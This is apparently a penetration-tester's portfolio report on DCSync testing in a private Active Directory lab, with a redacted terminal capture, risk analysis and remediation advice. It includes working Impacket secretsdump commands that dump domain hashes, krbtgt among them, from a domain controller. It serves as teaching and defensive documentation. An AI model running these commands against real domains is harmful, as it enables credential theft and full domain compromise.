

ENTERPRISE SECURITY ASSESSMENT LAB

AD NETWORK SECURITY METHODOLOGY REPORT

Phase 9 - Demonstrating domain credential exposure through replication-level access

Report Section	Phase 09 - DCSync Replication Abuse Testing
Project Area	Internal Network and Active Directory Security Assessment
Environment	Private Windows AD lab - Kali Linux, Windows Server, Windows endpoint
Prepared For	GitHub Portfolio Documentation
Document Type	Individual methodology PDF with redacted evidence

Authorized lab documentation only. Sensitive credential material, hashes, passwords, and replication output have been redacted before publication.

1. Executive Summary

This report documents **DCSync Replication Abuse Testing** as part of the AD Network module in the Enterprise Security Assessment Lab. The section is written as a professional, portfolio-safe methodology report that explains the testing objective, workflow, evidence, tool usage, sanitized output, security risk, remediation guidance, and GitHub publication requirements.

Objective: Validate whether high-privilege or replication-capable access can request domain credential material from the Domain Controller in the controlled lab environment.

MITRE / Framework Mapping	T1003.006 - OS Credential Dumping: DCSync
Testing Scope	Authorized private Active Directory lab only
Evidence Handling	Screenshots embedded with necessary redaction; raw hashes and secrets are not included

2. Methodology and Workflow

The methodology below is designed to show a controlled penetration-testing workflow rather than random tool execution. Each step supports a specific assessment goal and produces evidence that can be reviewed safely in a public portfolio.

- Use only controlled lab credentials and a private Domain Controller.
- Run secretsdump with -just-dc to simulate DCSync-style replication abuse.
- Confirm that credential material can be requested when privileges allow it.
- Redact all hashes, krbtgt material, usernames if sensitive, and command secrets.
- Do not claim Golden Ticket execution unless it was actually performed; this report only documents DCSync credential exposure.

Command / Workflow Used

```
# Example DCSync-style workflow using Impacket secretsdump
secretsdump.py <DOMAIN>/<USER>@<DC_IP> -just-dc
```

Sanitized Output Style

```
Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
Administrator:<REDACTED_HASH>
krbtgt:<REDACTED_HASH>
Service/user accounts:<REDACTED_HASHES>

Note: raw output must never be published to GitHub.
```

3. Evidence Mapping and Screenshot Explanation

```
jazz@kali: ~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
Session Actions Edit View Help

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$ ls -lh *.zip
-rw-rw-r-- 1 jazz jazz 130K Jun  6 09:07 20260606090716_bloodhound.zip
-rw-rw-r-- 1 jazz jazz 132K Jun  6 11:24 20260606112436_bloodhound.zip

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$ cd ~/Enterprise-Security-Assessment-Lab/03-ad-network/reports

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$ export DC_IP=192.168.56.10
export DOMAIN=corp.local
export USER=jsmith
export PASS='S'

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$ which impacket-secretsdump
which secretsdump.py
/usr/bin/impacket-secretsdump
secretsdump.py not found

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$ impacket-secretsdump corp.local/jsmith:'S' @192.168.56.10 -dc-ip 192.168.56.10 -jus
t-dc-user krbtgt | tee dcsync_krbtgt.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI REDACTED
krbtgt:502:aad3b435...
[*] Kerberos keys gra
krbtgt:aes256-cts-hma
krbtgt:aes128-cts-hma
krbtgt:des-cbc-md5:c
[*] Cleaning up ...

(jazz@kali)~/Enterprise-Security-Assessment-Lab/03-ad-network/reports
$
```

Figure - DCSync domain hash dump evidence

This screenshot documents DCSync-style testing in the lab. Domain credential material and krbtgt-related values are redacted.

Evidence Availability Note

The uploaded repository package contains 18-dcsync-domain-hashes-dumped.png. A separate 18b screenshot was referenced in the methodology text, but was not present in the uploaded package, so this PDF uses the available DCSync evidence and documents the full-output risk using sanitized examples.

4. Technical Interpretation

The evidence is interpreted in the context of a private AD lab. The screenshot proves execution of the relevant technique or validation step, while the sanitized command and output blocks show how the result should be presented without exposing raw credential material.

What the evidence proves	The lab phase for DCSync Replication Abuse Testing was executed and documented.
What it does not prove	It does not indicate testing of any public, third-party, or production network.
Publication status	Safe for GitHub after redaction of sensitive values.

5. Risk Analysis

DCSync-level access is extremely high impact. It can expose password hashes for domain accounts, including krbtgt material. In a real environment, this may enable long-term domain compromise if not contained quickly.

Real-World Impact Categories

- Credential exposure or credential reuse risk
- Lateral movement or privilege escalation potential depending on account rights
- Domain visibility and attack path discovery in internal environments
- Operational and detection gaps if monitoring does not cover the relevant Windows, Kerberos, SMB, or LDAP events

6. Recommended Remediation

- Restrict Replicating Directory Changes privileges.
- Audit all accounts with replication rights.
- Monitor DCSync-like behaviour and abnormal directory replication requests.
- Protect Domain Admin and equivalent accounts.
- Rotate krbtgt twice if domain compromise is confirmed or strongly suspected.

7. GitHub Redaction and Publication Guidance

- Publish only redacted evidence. Do not upload raw hashes, password material, ticket files, DCSync output, or secretsdump text dumps.
- Keep this report under 03-ad-network/reports/methodology/ and keep raw tool output in a private working folder unless fully sanitized.
- Use placeholders such as , , , and in public documentation.
- Confirm the screenshot file name in the README matches the repository file name exactly, including case, hyphens, and extension.

Do Not Upload

```
*.hash
*_hashes.txt
responder logs with raw NetNTLMv2
kerberoast_hashes.txt
secretsdump output
DCSync dumps
cracked-password files
unredacted BloodHound collection ZIPs if they expose sensitive names
raw command history containing passwords
```

8. Conclusion

The **DCSync Replication Abuse Testing** phase demonstrates a structured and evidence-based AD testing workflow. The report explains the purpose of the test, shows sanitized evidence, connects the activity to real-world risk, and provides practical remediation guidance. This makes it suitable for a professional cybersecurity GitHub portfolio.